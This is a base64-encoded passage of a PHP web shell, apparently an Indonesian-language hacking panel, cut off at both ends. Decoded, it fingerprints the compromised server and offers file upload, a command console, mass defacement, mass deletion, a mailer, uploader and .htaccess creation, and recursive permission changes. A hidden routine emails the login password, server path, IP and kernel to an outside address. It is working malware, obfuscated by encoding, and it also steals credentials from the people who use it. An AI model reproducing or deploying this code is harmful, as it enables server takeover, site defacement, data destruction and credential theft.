pcH0/ZmllbGRzPWNpdHkiOw0KCQkJJGNoID0gY3VybF9pbml0KCk7DQoJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkcmliKTsNCgkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoJCQkkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsNCgkJCWN1cmxfY2xvc2UoJGNoKTsNCgkJCSRkYXRhID0ganNvbl9kZWNvZGUoJHJlc3BvbnNlLCB0cnVlKTsNCgkJCSRjaXR5ID0gaXNzZXQoJGRhdGFbJ2NpdHknXSkgPyAkZGF0YVsnY2l0eSddIDogJ1RpZGFrIERpa2V0YWh1aSc7DQoJCQkkc2NhbmQgPSBzY2FuZGlyKCRwYXRoKTsNCgkJCWVjaG8gIiZuYnNwO1sgIi53KCRwYXRoLCBwKCRwYXRoKSkuIiBdIjsNCgkJCSRzcWwgPSAoJEdMT0JBTFNbJ2Z1bmdzaSddWzVdKCdteXNxbF9jb25uZWN0JykpID8gIjxncj5PTjwvZ3I+IiA6ICI8cmQ+T0ZGPC9yZD4iOw0KCQkJJGN1cmwgPSAoJEdMT0JBTFNbJ2Z1bmdzaSddWzVdKCdjdXJsX3ZlcnNpb24nKSkgPyAiPGdyPk9OPC9ncj4iIDogIjxyZD5PRkY8L3JkPiI7DQoJCQkkd2dldCA9IChleGUoJ3dnZXQgLS1oZWxwJykpID8gIjxncj5PTjwvZ3I+IiA6ICI8cmQ+T0ZGPC9yZD4iOw0KCQkJJHBsID0gKGV4ZSgncGVybCAtLWhlbHAnKSkgPyAiPGdyPk9OPC9ncj4iIDogIjxyZD5PRkY8L3JkPiI7DQoJCQkkcHkgPSAoZXhlKCdweXRob24gLS1oZWxwJykpID8gIjxncj5PTjwvZ3I+IiA6ICI8cmQ+T0ZGPC9yZD4iOw0KCQkJJHB4ZXggPSAoZXhlKCdwa2V4ZWMgLS12ZXJzaW9uJykpID8gIjxncj5PTjwvZ3I+IiA6ICI8cmQ+T0ZGPC9yZD4iOw0KCQkJJGdjYyA9IChleGUoJ2djYyAtLXZlcnNpb24nKSkgPyAiPGdyPk9OPC9ncj4iIDogIjxyZD5PRkY8L3JkPiI7DQoJCQkkZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KCQkJJGtlcm5lbCA9IHBocF91bmFtZSgpOw0KCQkJJHBocHZlciA9IFBIUF9WRVJTSU9OOw0KCQkJJHBocG9zID0gUEhQX09TOw0KCQkJJGRvbWVuID0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl07DQoJCQkkc29mdCA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsNCgkJCSRpcCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsNCgkJCSR5aXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCgkJCWlmIChlbXB0eSgkZGlzZnVuYykpIHsNCgkJCQkkZGlzZmMgPSAiPGdyPk5PTkU8L2dyPiI7DQoJCQl9IGVsc2Ugew0KCQkJCSRkaXNmYyA9ICI8cmQ+JGRpc2Z1bmM8L3JkPiI7DQoJCQl9DQoJCQlpZighJEdMT0JBTFNbJ2Z1bmdzaSddWzVdKCdwb3NpeF9nZXRlZ2lkJykpIHsNCgkJCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQoJCQkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkJCSRnaWQgPSBAZ2V0bXlnaWQoKTsNCgkJCQkkZ3JvdXAgPSAiPyI7DQoJCQl9IGVsc2Ugew0KCQkJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCgkJCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7DQoJCQkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCQkJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCQkJCSRncm91cCA9ICRnaWRbJ25hbWUnXTsNCgkJCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJCQl9DQoJCQkkc20gPSAoQGluaV9nZXQoc3RydG9sb3dlcigic2FmZV9tb2RlIikpID09ICdvbicpID8gIjxyZD5PTjwvcmQ+IiA6ICI8Z3I+T0ZGPC9ncj4iOw0KCQllY2hvICINCgkJPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4NCgkJCTxkaXYgY2xhc3M9J2Nvcm5lciBhbnUgcHktMyc+DQoJCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+DQoJCQkJPGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gPGkgY2xhc3M9J2JpIGJpLWNoZXZyb24tZG93bic+PC9pPg0KCQkJCTwvYnV0dG9uPg0KCQkJPC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+DQoJCQkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTMgcm91bmRlZC0zJz4NCgkJCQlTeXN0ZW06IDxncj4ka2VybmVsPC9ncj48YnI+DQoJCQkJVXNlcjogPGdyPiR1c2VyPC9ncj4gKCR1aWQpIHwgR3JvdXA6IDxncj4kZ3JvdXA8L2dyPiAoJGdpZCk8YnI+DQoJCQkJUEhQIFZlcnNpb246IDxncj4kcGhwdmVyPC9ncj4gUEhQIG9zOiA8Z3I+JHBocG9zPC9ncj48YnI+DQoJCQkJU29mdHdhcmU6IDxncj4kc29mdDwvZ3I+PGJyPg0KCQkJCURvbWFpbjogPGdyPiRkb21lbjwvZ3I+PGJyPg0KCQkJCVNlcnZlciBJcDogPGdyPiRpcDwvZ3I+PGJyPg0KCQkJCVlvdXIgSXA6IDxncj4keWlwPC9ncj48YnI+DQoJCQkJQ2l0eTogPGdyPnskY2l0eX08L2dyPjxicj4NCgkJCQlTYWZlIE1vZGU6ICRzbTxicj4NCgkJCQlNeVNRTDogJHNxbCB8IFBlcmw6ICRwbCB8IFdHRVQ6ICR3Z2V0IHwgQ1VSTDogJGN1cmwgfCBQeXRob246ICRweSB8IFBrZXhlYzogJHB4ZXggfCBHQ0M6ICRnY2M8YnI+DQoJCQkJRGlzYWJsZSBGdW5jdGlvbjo8YnI+PHByZT4kZGlzZmM8L3ByZT4NCgkJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgY2xhc3M9J3RleHQtY2VudGVyJz4NCgkJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmlkPXVwbG9hZCc+PGkgY2xhc3M9J2JpIGJpLXVwbG9hZCc+PC9pPiBVcGxvYWQ8L2E+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmlkPXVwbG9hZHZpYWxpbmsnPjxpIGNsYXNzPSdiaSBiaS11cGxvYWQnPjwvaT4gVXBsb2FkIFZpYSBMaW5rPC9hPg0KCQkJPC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAnPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZpZD1kZWZhY2UnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IE1hc3MgZGVmYWNlPC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZpZD1kZWxldGUnPjxpIGNsYXNzPSdiaSBiaS10cmFzaCc+PC9pPiBNYXNzIGRlbGV0ZTwvYT4NCgkJCTwvZGl2Pg0KCQkJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImaWQ9bmV0d29yayc+PGkgY2xhc3M9J2JpIGJpLWhkZC1uZXR3b3JrJz48L2k+IE5ldHdvcms8L2E+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmlkPWNtZCc+PGkgY2xhc3M9J2JpIGJpLXRlcm1pbmFsJz48L2k+IENvbnNvbGU8L2E+DQoJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmlkPWxvY2tzaGVsbCc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyay1sb2NrJz48L2k+IExvY2sgU2hlbGw8L2E+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmlkPXVubG9ja3NoZWxsJz48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IFVubG9jayBTaGVsbDwvYT4NCgkJCTwvZGl2Pg0KCQkJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImaWQ9cGhwbWFpbGVyJz48aSBjbGFzcz0nYmkgYmktZW52ZWxvcGUnPjwvaT4gUEhQIE1haWxlcjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImaWQ9c2VhcmNoYnlFWFQnPjxpIGNsYXNzPSdiaSBiaS1icmFjZXMnPjwvaT4gU2VhcmNoIEJ5IEVYVDwvYT4NCgkJCTwvZGl2Pjxicj48YnI+DQoJCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAnPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZpZD1jcmVhdGVoYXRlcyc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyay1wbHVzJz48L2k+IENyZWF0ZSBIdGFjY2VzczwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImaWQ9Y3JlYXRldXBsb2FkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmstcGx1cyc+PC9pPiBDcmVhdGUgVXBsb2FkZXI8L2E+DQoJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmlkPXJvb3RfZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBHcmVlbiBBbGwgRmlsZTwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImaWQ9cm9vdF9mb2xkZXJzJz48aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IEdyZWVuIEFsbCBGb2xkZXJzPC9hPg0KCQkJPC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAnPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZpZD1kYXJrX2ZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmstbG9jayc+PC9pPiBMb2NrIEFsbCBGaWxlPC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZpZD1kYXJrX2ZvbGRlcnMnPjxpIGNsYXNzPSdiaSBiaS1mb2xkZXIteCc+PC9pPiBMb2NrIEFsbCBGb2xkZXJzPC9hPjwvZGl2Pg0KCQkJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImaWQ9c2Nhbl9yb290Jz48aSBjbGFzcz0nYmkgYmktc2VhcmNoJz48L2k+IFNjYW4gcm9vdDwvYT4NCgkJCTwvZGl2Pg0KCQkJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2xvZ291dD10cnVlJz48aSBjbGFzcz0nYmkgYmktYm94LWFycm93LWluLWxlZnQnPjwvaT4gTG9nb3V0PC9hPg0KCQkJPC9kaXY+DQoJCTwvZGl2PiI7DQoJCWlmKGlzc2V0KCRfN1snZGlyJ10pKSB7DQoJCQkkZGlyID0gdW5oZXgoJF83WydkaXInXSk7DQoJCQljaGRpcigkZGlyKTsNCgkJCX0gZWxzZSB7DQoJCSRkaXIgPSBoZXgoJGdjdygpKTsNCgkJfQ0KCQkkZGlyID0gc3RyX3JlcGxhY2UoIlxcIiwiLyIsJGRpcik7DQoJCQkkc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQ0KCQlmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsNCgkJCSRzY2RpclskaV07DQoJCWlmKCRpICE9ICRjX2Rpcikgew0KCQl9fQ0KCQlmdW5jdGlvbiBjaGFuZ2VGaWxlUGVybWlzc2lvbnMoJGZpbGVuYW1lLCAkcGVybWlzc2lvbnMpIHsNCgkJCWlmIChmaWxlX2V4aXN0cygkZmlsZW5hbWUpKSB7DQoJCQkJaWYgKGNobW9kKCRmaWxlbmFtZSwgJHBlcm1pc3Npb25zKSkgew0KCQkJCQllY2hvICJJemluIGZpbGUgJGZpbGVuYW1lIGJlcmhhc2lsIGRpdWJhaCBtZW5qYWRpICRwZXJtaXNzaW9ucy4iOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gIkdhZ2FsIG1lbmd1YmFoIGl6aW4gZmlsZSAkZmlsZW5hbWUuIjsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIkZpbGUgJGZpbGVuYW1lIHRpZGFrIGRpdGVtdWthbi4iOw0KCQkJfQ0KCQl9DQoJCWZ1bmN0aW9uIGNoYW5nZUZvbGRlclBlcm1pc3Npb25zUmVjdXJzaXZlKCRkaXIsICRwZXJtcykgew0KCQkJJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoDQoJCQkJbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXIsIFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yOjpTS0lQX0RPVFMpLA0KCQkJCVJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QNCgkJCSk7DQoJCQlmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGl0ZW0pIHsNCgkJCQlpZiAoJGl0ZW0tPmlzRGlyKCkpIHsNCgkJCQkJY2htb2QoJGl0ZW0tPmdldFBhdGhuYW1lKCksICRwZXJtcyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWZ1bmN0aW9uIGNoYW5nZUZpbGVQZXJtaXNzaW9uc1JlY3Vyc2l2ZSgkZGlyLCAkcGVybXMpIHsNCgkJCSRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKA0KCQkJCW5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZGlyLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwNCgkJCQlSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUDQoJCQkpOw0KCQkJZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRpdGVtKSB7DQoJCQkJaWYgKCRpdGVtLT5pc0ZpbGUoKSkgew0KCQkJCQljaG1vZCgkaXRlbS0+Z2V0UGF0aG5hbWUoKSwgJHBlcm1zKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJGN1cnJlbnREaXJlY3RvcnkgPSAnLic7DQoJCWlmIChpc3NldCgkX0dFVFsnaWQnXSkgJiYgJF9HRVRbJ2lkJ10gPT09ICdyb290X2ZpbGUnKSB7DQoJCQkkbmV3RmlsZVBlcm1pc3Npb25zID0gMDY0NDsNCgkJCWNoYW5nZUZpbGVQZXJtaXNzaW9uc1JlY3Vyc2l2ZSgkY3VycmVudERpcmVjdG9yeSwgJG5ld0ZpbGVQZXJtaXNzaW9ucyk7DQoJCQllY2hvICJQZXJtaXNzaW9ucyBjaGFuZ2VkIGZvciBhbGwgZmlsZXMgaW4gdGhlIGN1cnJlbnQgZGlyZWN0b3J5LiI7DQoJCX0NCgkJaWYgKGlzc2V0KCRfR0VUWydpZCddKSAmJiAkX0dFVFsnaWQnXSA9PT0gJ3Jvb3RfZm9sZGVycycpIHsNCgkJCSRuZXdGb2xkZXJQZXJtaXNzaW9ucyA9IDA3NTU7DQoJCQljaGFuZ2VGb2xkZXJQZXJtaXNzaW9uc1JlY3Vyc2l2ZSgkY3VycmVudERpcmVjdG9yeSwgJG5ld0ZvbGRlclBlcm1pc3Npb25zKTsNCgkJCWVjaG8gIlBlcm1pc3Npb25zIGNoYW5nZWQgZm9yIGFsbCBmb2xkZXJzIGluIHRoZSBjdXJyZW50IGRpcmVjdG9yeS4iOw0KCQl9DQoJCWlmIChpc3NldCgkX0dFVFsnaWQnXSkgJiYgJF9HRVRbJ2lkJ10gPT09ICdkYXJrX2ZpbGUnKSB7DQoJCQkkbmV3RmlsZVBlcm1pc3Npb25zID0gMDQ0NDsNCgkJCWNoYW5nZUZpbGVQZXJtaXNzaW9uc1JlY3Vyc2l2ZSgkY3VycmVudERpcmVjdG9yeSwgJG5ld0ZpbGVQZXJtaXNzaW9ucyk7DQoJCQllY2hvICJQZXJtaXNzaW9ucyBjaGFuZ2VkIGZvciBhbGwgZmlsZXMgaW4gdGhlIGN1cnJlbnQgZGlyZWN0b3J5LiI7DQoJCX0NCgkJaWYgKGlzc2V0KCRfR0VUWydpZCddKSAmJiAkX0dFVFsnaWQnXSA9PT0gJ2RhcmtfZm9sZGVycycpIHsNCgkJCSRuZXdGb2xkZXJQZXJtaXNzaW9ucyA9IDA1NTU7DQoJCQljaGFuZ2VGb2xkZXJQZXJtaXNzaW9uc1JlY3Vyc2l2ZSgkY3VycmVudERpcmVjdG9yeSwgJG5ld0ZvbGRlclBlcm1pc3Npb25zKTsNCgkJCWVjaG8gIlBlcm1pc3Npb25zIGNoYW5nZWQgZm9yIGFsbCBmb2xkZXJzIGluIHRoZSBjdXJyZW50IGRpcmVjdG9yeS4iOw0KCQl9DQoJCSRmaWxlbmFtZSA9IF9fRklMRV9fOw0KCQlpZiAoaXNzZXQoJF9HRVRbJ2lkJ10pICYmICRfR0VUWydpZCddID09PSAnbG9ja3NoZWxsJykgew0KCQkJJG5ld1Blcm1pc3Npb25zID0gMDQ0NDsNCgkJCWNoYW5nZUZpbGVQZXJtaXNzaW9ucygkZmlsZW5hbWUsICRuZXdQZXJtaXNzaW9ucyk7DQoJCX0NCgkJaWYgKGlzc2V0KCRfR0VUWydpZCddKSAmJiAkX0dFVFsnaWQnXSA9PT0gJ3VubG9ja3NoZWxsJykgew0KCQkJJG5ld1Blcm1pc3Npb25zID0gMDY0NDsNCgkJCWNoYW5nZUZpbGVQZXJtaXNzaW9ucygkZmlsZW5hbWUsICRuZXdQZXJtaXNzaW9ucyk7DQoJCX0NCgkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2xvZ2luaW4nLCAkX1BPU1QpKSB7DQoJCSRwYXNzd29yZCA9ICRfUE9TVFsncGFzcyddOw0KCQkkc2VydmVyX25hbWUgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsNCgkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQoJCSRyZXBvcnRfYnVnID0gIklQOiAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIFxuQ2l0eTogeyRjaXR5fVxuTG9naW46ICRzZXJ2ZXJfbmFtZSRwaHBfc2VsZlxuUGFzczogJHBhc3N3b3JkXG5LZXJuZWw6ICRrZXJuZWwiOw0KCQlAbWFpbCgnbWFuenN0YXlmb3J1QGdtYWlsLmNvbScsICdIZWhlaGUnLCAkcmVwb3J0X2J1Zyk7DQoJCX0NCgkJaWYoJF83WydpZCddID09ICdkZWZhY2UnKXsNCgkJZnVuY3Rpb24gbWFzc19hbGwoJGRpciwkbmFtZWZpbGUsJGNvbnRlbnRzX3NjKSB7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7DQoJCQkJJMOi4oCTxaEgPSAkZGlyYy4nLycuJG5hbWVmaWxlOw0KCQkJCWlmKCRkaXJiID09PSAnLicpIHsNCgkJCQkJJGZ1bmdzaVsyXSgkw6LigJPFoSwgJGNvbnRlbnRzX3NjKTsNCgkJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgew0KCQkJCQkkZnVuZ3NpWzJdKCTDouKAk8WhLCAkY29udGVudHNfc2MpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmKCRmdW5nc2lbMV0oJGRpcmMpKSB7DQoJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsNCgkJCQkJCQllY2hvICJbPGdyPjxpIGNsYXNzPSdiaSBiaS1jaGVjay1hbGwnPjwvaT48L2dyPl0mbmJzcDskw6LigJPFoTxicj4iOw0KCQkJCQkJCSRmdW5nc2lbMl0oJMOi4oCTxaEsICRjb250ZW50c19zYyk7DQoJCQkJCQkJJMOi4oCTxbggPSBtYXNzX2FsbCgkZGlyYywkbmFtZWZpbGUsJGNvbnRlbnRzX3NjKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJZnVuY3Rpb24gbWFzc19vbmVkaXIoJGRpciwkbmFtZWZpbGUsJGNvbnRlbnRzX3NjKSB7DQoJCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCQkkw6LigJPFoSA9ICRkaXJjLicvJy4kbmFtZWZpbGU7DQoJCQkJCWlmKCRkaXJiID09PSAnLicpIHsNCgkJCQkJCSRmdW5nc2lbMl0oJMOi4oCTxaEsICRjb250ZW50c19zYyk7DQoJCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJCQkkZnVuZ3NpWzJdKCTDouKAk8WhLCAkY29udGVudHNfc2MpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJaWYoJGZ1bmdzaVsxXSgkZGlyYykpIHsNCgkJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsNCgkJCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWVmaWxlPGJyPiI7DQoJCQkJCQkJCSRmdW5nc2lbMl0oJMOi4oCTxaEsICRjb250ZW50c19zYyk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWlmKCRfN1snc3RhcnQnXSkgew0KCQkJaWYoJF83Wyd0aXBlJ10gPT0gJ21hc3MnKSB7DQoJCQltYXNzX2FsbCgkXzdbJ2RfZGlyJ10sICRfN1snZF9maWxlJ10sICRfN1snc2NyaXB0J10pOw0KCQkJfSBlbHNlaWYoJF83Wyd0aXBlJ10gPT0gJ29uZWRpcicpIHsNCgkJCW1hc3Nfb25lZGlyKCRfN1snZF9kaXInXSwgJF83WydkX2ZpbGUnXSwgJF83WydzY3JpcHQnXSk7DQoJCQl9DQoJCX0NCgkJcygpOw0KCQllY2hvICINCgkJPGRpdiBjbGFzcz0nY2FyZCBjYXJkLWJvZHkgdGV4dC1kYXJrIGlucHV0LWdyb3VwIG1iLTMnPg0KCQk8dT5NYXNzIERlZmFjZTwvdT4NCgkJCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6DQoJCQk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4NCgkJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nb25lZGlyJyBuYW1lPSd0aXBlJyBpZD0nZmxleENoZWNrRGVmYXVsdCcgY2hlY2tlZD4NCgkJCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+T25lIGRpcjwvbGFiZWw+DQoJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPg0KCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzJyBuYW1lPSd0aXBlJyBpZD0nZmxleENoZWNrRGVmYXVsdCc+DQoJCQkJPGxhYmVsIGNsYXNzPSdmb3JtLWNoZWNrLWxhYmVsJyBmb3I9J2ZsZXhDaGVja0RlZmF1bHQnPkFsbCBkaXJlY3Rvcnk8L2xhYmVsPg0KCQkJPC9kaXY+DQoJCQkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBEaXJlY3Rvcnk6DQoJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPg0KCQkJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gRmlsZW5hbWU6DQoJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSdmaWxlbmFtZSc+DQoJCQkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBZb3VyIHNjcmlwdDoNCgkJCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHJvd3M9JzcnIG5hbWU9J3NjcmlwdCcgcGxhY2Vob2xkZXI9J3lvdXIgc2NyaXB0Jz48L3RleHRhcmVhPg0KCQkJCTxkaXYgY2xhc3M9J2QtZ3JpZCBnYXAtMic+DQoJCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLWRhcmsgYnRuLXNtJ3R5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdkZWZhY2UnPg0KCQkJCTwvZGl2Pg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4iOw0KCQl9DQoJCS8vIE1hc3MgRGVsZXRlDQoJCWlmICgkXzdbJ2lkJ10gPT0gJ2RlbGV0ZScpIHsNCgkJCWZ1bmN0aW9uIG1hc3NfZGVsZXRlKCRkaXIsICRuYW